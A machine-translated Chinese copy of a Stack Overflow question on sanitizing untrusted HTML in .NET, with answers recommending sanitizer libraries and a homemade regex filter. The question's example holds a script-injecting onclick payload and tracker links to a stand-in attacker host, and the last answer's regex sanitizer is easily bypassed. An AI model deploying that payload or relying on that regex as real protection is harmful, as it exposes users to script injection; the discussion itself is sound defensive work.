在保留基本格式的同时,我可以使用什么来清理收到的HTML?

时间:2010-12-30 10:17:17

标签: html .net sanitization html-sanitizing

这是一个常见的问题,我希望它已经彻底解决了我。

在我正在为客户端做的系统中,我们希望接受来自不受信任来源的HTML(HTML格式的电子邮件以及HTML文件),清理它以使其没有任何脚本,链接到外部资源,以及其他安全/等。问题;然后安全地显示它,同时不丢失基本格式。例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止)。 : - )

我们的目标是通过我们自己的网络界面中的iframe或通过.Net Windows窗体应用中的WebBrowser class向内部用户展示我们感觉舒服的内容(似乎不安全,可能不那么安全,等等。例如下面。

我们认识到其中一些可能会破坏文本的显示;没关系。

我们将在接收时清理HTML并存储已清理的版本(不要担心存储部分 - SQL注入等 - 我们已经覆盖了这一点)。< / p>

该软件需要在Windows Server上运行。 COM DLL或.Net程序集首选。 FOSS显然是首选,但不是交易破坏者。

到目前为止我发现了什么:

你会为这项任务推荐什么?以上之一?还有别的吗?


例如,我们想删除以下内容:

  • script元素
  • linkimg以及与外部资源相关的元素(可能会将img替换为“[图片已删除]”或其他类似文字
  • embedobjectappletaudiovideo以及其他尝试创建对象的代码
  • onclick和类似的DOM0事件处理程序脚本代码
  • href在触发代码的a元素上(即使是我们认为可以使用的链接,我们也可能会转换为用户必须有意复制并粘贴到浏览器中的明文)。
  • __________ (我没有想到的722项内容是我希望利用已经存在的东西的原因)

例如,这个HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>

会变成

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>

(注意我们完全删除了linkonclick,并用占位符替换了img。这只是我们需要删除的一小部分内容出。)

5 个答案:

答案 0 :(得分:3)

这是一个较旧但仍然相关的问题。

我们正在使用HtmlSanitizer .Net库,其中包含:

同样在NuGet

答案 1 :(得分:2)

我感觉你肯定需要一个可以生成XML / DOM源的解析器,这样你就可以在它上面应用fiter来产生你想要的东西。

查看HtmlTidyMozillaHtmlCleaner解析器是否有帮助。 HtmlCleaner有很多configurable options你可能也想看一下。特别是允许您跳过不需要的标记的transform section

答案 2 :(得分:1)

我建议查看http://htmlpurifier.org/。他们的图书馆非常完整。

答案 3 :(得分:1)

我建议使用另一种方法。如果您控制查看HTML的方法,我将使用没有ECMA脚本引擎或任何XSS功能的HTML呈现来删除所有威胁。我发现你将使用内置的WebBrowser对象,这是正确的,你想要生成不能用来攻击用户的HTML。

我建议寻找基本的HTML显示引擎。一个无法解析或理解任何会使您易受攻击的脚本功能的人。那么所有的javascript都会被忽略。

这确实有另一个问题。您需要确保您使用的查看器不易受到其他类型的攻击。<​​/ p>

答案 4 :(得分:0)

有趣的问题,我花了一些时间来面对它,因为我们想要从用户输入中删除很多东西,即使我做了很多要删除的东西,后面的HTML也可以发展,我的列表会有一些漏洞。 尽管如此,我希望用户输入一些简单的东西,如粗体,斜体,段落......简单。 毫无疑问,允许的事物列表更短,html可以改变后者,除非html停止支持这些简单的事情,否则不会在我的列表上打洞。 所以开始另外思考,说出你允许的内容,因为我不是正则表达式的专家(因此请一些正则表达式的人在这里纠正我或改进)我甚至在HTML5到达之前编码了这个表达式并且它的工作形式

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")

(b | i | p | br)&lt; - 这是允许的标签列表,随意添加一些。

这是一个起点,这就是为什么一些正则表达式的人应该改进以删除属性,如onclick

如果我这样做:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>
带有onclick或其他内容的

标签将被删除,但相应的结束标签将保留,毕竟我们不希望删除这些标签,我们只想删除标签属性。

可能是

的第二个正则表达式传递
(?!<[^<>\s]+)\s[^</>]+(?=[/>])
我是对的吗?这可以组成一次通过吗?

我们仍然没有标签之间的关系(打开/关闭),到目前为止没什么大不了的。 可以写入属性remove来删除所有不是白名单吗? (可能是的)。

最后一个问题..当删除脚本等标记时,内容仍然存在,删除字体但不是脚本时是理想的,我们可以用

做第一遍
<(script|object|embed)[^>]*>.*</\1>

将删除某些标签及其内容..但它是一个黑名单,这意味着如果html发生变化,你必须密切关注它。

注意:全部使用&#34; gi&#34;

编辑:

在此功能上加入了以上所有内容

String.prototype.sanitizeHTML=function (white,black) {
   if (!white) white="b|i|p|br";//allowed tags
   if (!black) black="script|object|embed";//complete remove tags
   e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
   return this.replace(e,"");
}

- 黑名单 - &gt;完成删除标记和内容 - 白名单 - &gt;保留标签 删除其他标签但保留标签内容 白名单标签的所有属性(其余的)都被删除

仍然有一个白色的属性列表(上面没有实现)的地方,因为如果我想保留IMG,那么src必须保持......那么跟踪图像呢?